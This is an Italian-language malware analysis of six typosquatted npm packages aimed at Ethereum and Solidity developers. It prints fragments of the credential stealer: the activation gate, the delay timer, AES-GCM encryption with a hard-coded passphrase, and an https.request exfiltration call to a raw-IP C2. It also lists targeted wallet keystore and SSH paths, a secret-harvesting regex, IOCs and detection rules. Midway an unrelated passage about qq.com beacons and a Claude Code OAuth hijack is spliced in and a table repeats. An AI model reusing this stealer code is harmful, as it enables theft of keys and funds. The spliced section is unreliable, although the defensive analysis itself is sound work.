TL; DR
Il 6 maggio 2026, un singolo editore npm, namikazesarada010206hanno diffuso sei pacchetti dannosi che prendono di mira l'ecosistema degli sviluppatori di Ethereum, Solidity e DeFi.
I pacchi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilse web3-utils-core, hanno utilizzato nomi plausibili progettati per sembrare librerie di supporto per i più diffusi strumenti Web3.
Tutti e sei i pacchi contenevano lo stesso telemetry.js file. Il file era identico byte per byte in tutto il cluster, con SHA-256:
Il malware non viene eseguito al momento dell'installazione. Non c'è preinstall or postinstall gancio. Si attiva invece quando il pacchetto viene importato tramite require().
Quel dettaglio è importante.
Il sistema di sicurezza attende che uno sviluppatore utilizzi effettivamente il pacchetto. Dopodiché, verifica se la workstation si presenta come un vero ambiente di sviluppo Ethereum/Solidity. Cerca chiavi Alchemy o Infura, chiavi private, mnemonici, chiavi di distribuzione o una directory Foundry locale.
Se l'host corrisponde, il ladro raccoglie le chiavi private SSH, i keystore del wallet Foundry / Geth / Brownie, .env* file e variabili d'ambiente sensibili. Crittografa il pacchetto con AES-256-GCM utilizzando una passphrase predefinita e lo esfiltra verso un endpoint C2 IPv4 raw con la verifica TLS disabilitata.
Il sistema di allerta precoce antimalware (MEW) di Xygeni ha confermato che tutti e sei i pacchetti sono dannosi. Il rapporto di rimozione dal registro npm è in sospeso.
Il Cluster: sei pacchetti, un unico editore.
L'account dell'editore namikazesarada010206 era collegato a un indirizzo Gmail non verificato namikazesarada010206@gmail.com.
La campagna è apparsa come un'unica pubblicazione di un giorno il 6 maggio 2026. Tutti e sei i pacchetti sono stati versioni come 1.0.0, non aveva dipendenze in fase di esecuzione e distribuiva solo tre file:
package.json
index.js
telemetry.jsHanno inoltre dichiarato lo stesso repository di origine:
https://github.com/harunosakura030303-maker/evmchain-configI primi tre pacchetti sono stati rilevati dagli scanner MEW alla prima pubblicazione. I restanti tre sono stati segnalati forzatamente dopo la revisione da parte dell'analista del profilo npm dell'editore. Una volta che lo stesso byte identico telemetry.js una volta confermata la presenza di anomalie nell'intero cluster, sono state chiuse come dannose per coerenza.
| CONFEZIONE | Versione | npm pubblicato | Biglietto MEW | Giudizio |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Maligno |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Maligno |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Maligno |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Malizioso, per coerenza |
| utilità di fonderia | 1.0.0 | 2026-05-06 | #51071 | Malizioso, per coerenza |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Malizioso, per coerenza |
La strategia di denominazione è semplice ma efficace.
Questi pacchetti non imitano i nomi esatti a monte. Utilizzano invece suffissi "di utilità" plausibili come -core, -utilse -utils-coreQuesto le fa assomigliare a librerie complementari che uno sviluppatore si aspetterebbe di trovare vicino agli strumenti Web3.
| Pacco malevolo | Obiettivo legittimo |
|---|---|
| viem-core | viem, un popolare client TypeScript per Ethereum |
| viem-utils-core | viem |
| hardhat-core-utils | hardhat, un ambiente di sviluppo Solidity di uso comune |
| evm-utils | Namespace degli strumenti EVM generici |
| utilità di fonderia | Foundry, una toolchain di Solidity |
| web3-utils-core | web3-utils, helper per Web3.js |
Questo è il modello del "pacchetto supplementare": non "Io sono il pacchetto principale", ma "sembro un valido aiuto per il pacchetto principale".
Per gli sviluppatori DeFi che si muovono rapidamente, questo è sufficiente a creare un rischio.
Cosa succede quando il pacco viene importato?
La catena di attacco è di piccole dimensioni, mirata e focalizzata sugli ambienti di sviluppo crittografico.
Non c'è alcun gancio di installazione. Invece ogni pacchetto include un index.js che esporta funzionalità fittizie e poi carica il modulo di telemetria dannoso.
require('./telemetry').init();Ciò significa che il malware si attiva al primo import.
Ciò è operativamente utile per l'attaccante. Molti scanner e sandbox si concentrano sul comportamento in fase di installazione. Questo pacchetto attende di essere effettivamente utilizzato da uno sviluppatore, uno script di compilazione, una suite di test o un percorso di runtime.
Cancello di attivazione: si attiva solo su vere workstation per sviluppatori Web3
La parte più importante dell'impianto è il gate di attivazione.
Il malware verifica la presenza di variabili d'ambiente comunemente riscontrate sui computer degli sviluppatori di Ethereum/Solidity:
const indicators = [
process.env.ALCHEMY_API_KEY,
process.env.INFURA_KEY,
process.env.PRIVATE_KEY,
process.env.MNEMONIC,
process.env.DEPLOYER_KEY,
].filter(Boolean);Controlla inoltre se Foundry risulta installato:
fs.existsSync(path.join(os.homedir(), '.foundry'))Se nessuna delle due condizioni è vera, la funzione restituisce un valore e non esegue alcuna operazione.
Ciò rende il pacchetto meno invasivo negli ambienti di analisi generici. In una sandbox senza Foundry, chiavi Alchemy, chiavi Infura, chiavi private o mnemonici, l'importazione potrebbe apparire innocua.
Su un host compatibile, il malware attende dai 60 ai 90 secondi prima di effettuare la raccolta dei dati:
setTimeout(() => { try { _collect(); } catch {} },
60000 + Math.random() * 30000).unref();Il ritardo riduce l'ovvia correlazione tra importazione ed esfiltrazione. .unref() La chiamata consente inoltre al processo host di terminare normalmente se il pacchetto è stato importato in uno script di breve durata.
Non si tratta di un furto rumoroso e indiscriminato. È un programma di furto mirato, progettato per non essere eseguito a meno che l'ambiente di sviluppo non sia particolarmente interessante da sfruttare.
Ciò che il ladro colleziona
Una volta superata la fase di attivazione, il malware raccoglie informazioni dalle fonti più importanti per lo sviluppo Web3: chiavi private, keystore dei wallet, credenziali di distribuzione, segreti cloud, token npm e configurazione locale del progetto.
| Fonte | Cosa viene raccolto |
|---|---|
| processo.env | Qualsiasi variabile corrispondente a /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | File contenenti PRIVATE KEY o BEGIN OPENSSH, incluso l'intero contenuto del file. |
| ~/.foundry/keystores/* | File del keystore del portafoglio Foundry |
| ~/.ethereum/keystore/* | File del keystore del portafoglio Geth |
| ~/.brownie/accounts/* | File del keystore del portafoglio Brownie |
| ${cwd}/.env | Contenuto completo del file |
| ${cwd}/.env.local | Contenuto completo del file |
| ${cwd}/.env.production | Contenuto completo del file |
| ${cwd}/.env.development | Contenuto completo del file |
| os.hostname() | Metadati dell'host |
| crypto.randomUUID() | Identificativo vittima/sessione |
| Data.ora() | Data e ora di raccolta |
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.comI token ATTA sono:
ATTA_ID 00400014144
ATTA_TOKEN 6478159937Non siamo stati in grado di confermare se i dati di telemetria provenissero dalle analisi interne dell'operatore o da un canale di monetizzazione separato. I token ATTA sono gli stessi in entrambi i campioni esaminati.
Gruppo B: heibai
claude.hk Phishing OAuth + Dirottamento ANTHROPIC_BASE_URL
Il campione del 1° aprile rappresenta la fase più grezza e iniziale della campagna.
heibai:2.1.88-claude.hk-4 è stato pubblicato da wuguoqiangvip28, un account creato il 7 giugno 2025. Il pacchetto si è esplicitamente versionato rispetto al legittimo 2.1.88 Rilascio antropico.
Non si preoccupa minimamente dell'attacco Man-in-the-Middle (MITM) tramite certificato CA. Al contrario, mente all'utente riguardo all'endpoint OAuth.
Le aggiunte dannose al codice sorgente trapelato di Claude Code includono:
| Fonte | Cosa viene raccolto |
|---|---|
| processo.env | Qualsiasi variabile corrispondente a /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | File contenenti PRIVATE KEY o BEGIN OPENSSH, incluso l'intero contenuto del file. |
| ~/.foundry/keystores/* | File del keystore del portafoglio Foundry |
| ~/.ethereum/keystore/* | File del keystore del portafoglio Geth |
| ~/.brownie/accounts/* | File del keystore del portafoglio Brownie |
| ${cwd}/.env | Contenuto completo del file |
| ${cwd}/.env.local | Contenuto completo del file |
| ${cwd}/.env.production | Contenuto completo del file |
| ${cwd}/.env.development | Contenuto completo del file |
| os.hostname() | Metadati dell'host |
| crypto.randomUUID() | Identificativo vittima/sessione |
| Data.ora() | Data e ora di raccolta |
L'elenco dei bersagli è estremamente specifico. Non si tratta di furto generico di browser o di raccolta indiscriminata di credenziali. È mirato agli sviluppatori che creano, testano, distribuiscono o gestiscono applicazioni Ethereum.
L'inclusione dei keystore di Foundry, Geth e Brownie è particolarmente importante. Questi file possono rappresentare l'accesso diretto ai wallet o alle identità di distribuzione. Se un malintenzionato riesce ad associarli a password, mnemotecniche o segreti di ambiente, potrebbe essere in grado di spostare fondi, impersonare gli utenti che effettuano le distribuzioni o compromettere le operazioni degli smart contract.
Crittografia prima dell'esfiltrazione
Il malware crittografa i dati raccolti prima di inviarli.
const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);La passphrase predefinita è:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dIl payload finale è incapsulato in formato JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}La crittografia di per sé non rende il malware più avanzato. Tuttavia, rende più difficile l'ispezione della rete. Un difensore che monitora il traffico in uscita vedrebbe un payload JSON, ma non le chiavi rubate, i file del portafoglio o .env contenuti senza la passphrase e la logica di decrittazione codificate in modo rigido.
Esfiltrazione verso un C2 IPv4 grezzo
Il percorso di esfiltrazione è codificato in modo rigido:
const req = https.request({
hostname: '76.13.37.80', port: 8443,
path: '/api/v1/telemetry', method: 'POST',
headers: { 'Content-Type': 'application/json', ... },
rejectUnauthorized: false, timeout: 8000,
}, () => {});Il malware invia dati a:
https://76.13.37.80:8443/api/v1/telemetryDue dettagli spiccano in particolare.
Innanzitutto, il C2 è un indirizzo IPv4 grezzo anziché un dominio. Ciò elimina la necessità di registrare un dominio ed evita alcuni rilevamenti basati sul dominio.
In secondo luogo, la verifica TLS è disabilitata con:
rejectUnauthorized: falseCiò consente al malware di accettare qualsiasi certificato, inclusi quelli autofirmati. In altre parole, l'attaccante ottiene un trasporto crittografato senza bisogno di un certificato pubblico valido.
Non è presente alcuna logica di ripetizione dei tentativi né un host di fallback. Gli errori vengono ignorati silenziosamente. Questo fa sì che il pacchetto non generi alcun errore se il server C2 è offline o irraggiungibile.
Perché questa campagna è importante
La maggior parte dei pacchetti npm dannosi destinati agli sviluppatori cercano credenziali generiche: token npm, chiavi AWS, token GitHub o .npmrc File.
Questa campagna restringe il campo d'azione.
Cerca segni che la macchina appartiene a uno sviluppatore Ethereum o Solidity. Quindi estrae esattamente le risorse che contano in quell'ambiente: keystore del portafoglio, chiavi private, mnemonici, chiavi di distribuzione, .env file e chiavi SSH.
Ciò rende la campagna più pericolosa per i team Web3 rispetto a un generico attacco di furto di dati npm.
Un'infezione riuscita potrebbe esporre:
- Portafogli di distribuzione
- chiavi di amministrazione dello smart contract
- chiavi del provider RPC
- Credenziali di distribuzione cloud
- token di pubblicazione npm
- Accesso SSH all'infrastruttura di sviluppo o di compilazione
- I segreti del progetto sono conservati in
.envfile - Archivi di chiavi per portafogli per Foundry, Geth o Brownie
Anche i nomi dei pacchetti mostrano evidenti segni di ingegneria sociale. Prendono di mira l'ecosistema degli sviluppatori Web3 attraverso nomi di strumenti familiari: viem, hardhat, foundry, evme web3.
L'attore non ha bisogno di compromettere i progetti reali. Ha solo bisogno di uno sviluppatore che installi quello che sembra un pacchetto complementare ragionevole.
Indicatori di compromissione e rilevamento
| Pacchi e spedizioni | |
|---|---|
| Settore | Valore |
| npm publisher | namikazesarada010206 |
| E-mail di pubblicazione | namikazesarada010206@gmail.com |
| email verificata | Non |
| SCM verificato | Non |
| punteggio di reputazione | 1.0 |
| personalizzati | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, fonderia-utils, web3-utils-core |
| versioni | Tutti 1.0.0 |
| Residuo di sorgente | https://github.com/harunosakura030303-maker/evmchain-config |
| Confermato il comportamento dannoso | Tutti e sei i pacchetti |
| Reti | |
|---|---|
| Tipo | Valore |
| Punto finale C2 | https://76.13.37.80:8443/api/v1/telemetry |
| IP C2 | 76.13.37.80 |
| Porta C2 | 8443/TCP |
| Comportamento TLS | rejectUnauthorized: falso |
| Schema del carico utile | {"v":2,"iv": ,"D": ,"T": } |
| File e hash | |
|---|---|
| Tipo | Valore |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Layout del pacchetto | package.json, index.js, telemetry.js |
| Conteggio dei file | 3 |
| Dimensioni totali approssimative | 3.4 KB |
Segnali di attivazione
Il malware verifica le seguenti variabili d'ambiente:
ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEYVerifica inoltre:
~/.foundry/Percorsi host mirati
~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.developmentRaccolta Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iNote di rilevamento
Diverse regole permettono di individuare questa campagna senza bisogno di un'analisi comportamentale completa.
Innanzitutto, analizza i file di blocco alla ricerca dei sei nomi di pacchetti dannosi:
viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-coreQualsiasi partita in package-lock.json, yarn.lock, pnpm-lock.yaml, o node_modules La storia dovrebbe essere trattata come un evento grave.
In secondo luogo, monitora i processi Node.js che leggono i percorsi del keystore del wallet:
~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/Questo comportamento è raramente legittimo per un pacchetto importato come dipendenza di supporto. È particolarmente sospetto se seguito da attività di rete in uscita.
In terzo luogo, bloccare o segnalare le connessioni HTTPS a:
76.13.37.80:8443Soprattutto quando il percorso della richiesta è:
/api/v1/telemetryIn quarto luogo, cercate pacchetti npm che combinino queste caratteristiche:
- Editore nuovo o di scarsa reputazione
- Account Gmail non verificato
- Nome del pacchetto adiacente a Web3
- Nessuna cronologia significativa del repository
- Layout del pacchetto minuscolo
index.jsche carica un file di telemetria o di supporto- Nessuna dipendenza in fase di esecuzione
- Raccolta di variabili ambientali sensibili
- Accesso al keystore del portafoglio
Questo schema è più utile di un singolo IOC perché il pacchetto successivo può cambiare l'indirizzo IP ma mantenere la stessa logica di targeting.
Lista di controllo per la risposta al compromesso
Se uno sviluppatore ha utilizzato uno dei sei pacchetti e il suo ambiente corrisponde al gate di attivazione, la workstation deve essere considerata compromessa.
Ciò include macchine con Foundry installato, chiavi Alchemy o Infura nell'ambiente, chiavi private, mnemonici o chiavi di distribuzione.
Risposta consigliata:
- Disconnetti l'host dalla rete.
- Conserva
node_modulesfile di blocco, cronologia della shell e log rilevanti per le analisi forensi. - Ruota ogni coppia di chiavi SSH sotto
~/.ssh/. - Ruota le chiavi del portafoglio per ogni keystore sotto
~/.foundry,~/.ethereume~/.brownie. - Trasferisci i fondi in nuovi portafogli.
- Ruota ogni segreto memorizzato in
.env*file nei repository in cui ha lavorato lo sviluppatore. - Ruota i segreti dell'ambiente che corrispondono all'espressione regolare della raccolta, inclusi chiavi AWS, token npm, token di distribuzione, chiavi API, chiavi private, seed e mnemonici.
- Verifica l'attività di Cloud, npm, GitHub, del provider RPC e della blockchain dall'installazione iniziale del pacchetto.
- Prima di riutilizzare la workstation, reinstallare il sistema operativo.
Cosa dovrebbero imparare i difensori
Questa campagna mostra come il typosquatting di npm si stia evolvendo attorno agli ecosistemi di sviluppatori di alto livello.
L'attore non aveva bisogno di persistenza. Non aveva bisogno di offuscamento. Non aveva nemmeno bisogno di esecuzione in fase di installazione.
Si sono invece affidati a tre elementi:
- Nomi plausibili di pacchetti Web3
- Attivazione possibile solo su macchine reali per lo sviluppo di criptovalute.
- Furto diretto dei file e dei segreti più importanti per gli sviluppatori di Ethereum
Ciò rende la campagna difficile da individuare in un'analisi generale e pericolosa quando si manifesta nel contesto giusto.
Per i team Web3, la lezione è chiara: trattate i nomi delle dipendenze come parte integrante del vostro modello di minaccia. Un pacchetto che sembra un innocuo helper può comunque rappresentare la via più breve per compromettere il portafoglio.
Segnalato al registro npm. Aggiorneremo questo post non appena l'account dell'editore e i pacchetti saranno rimossi.
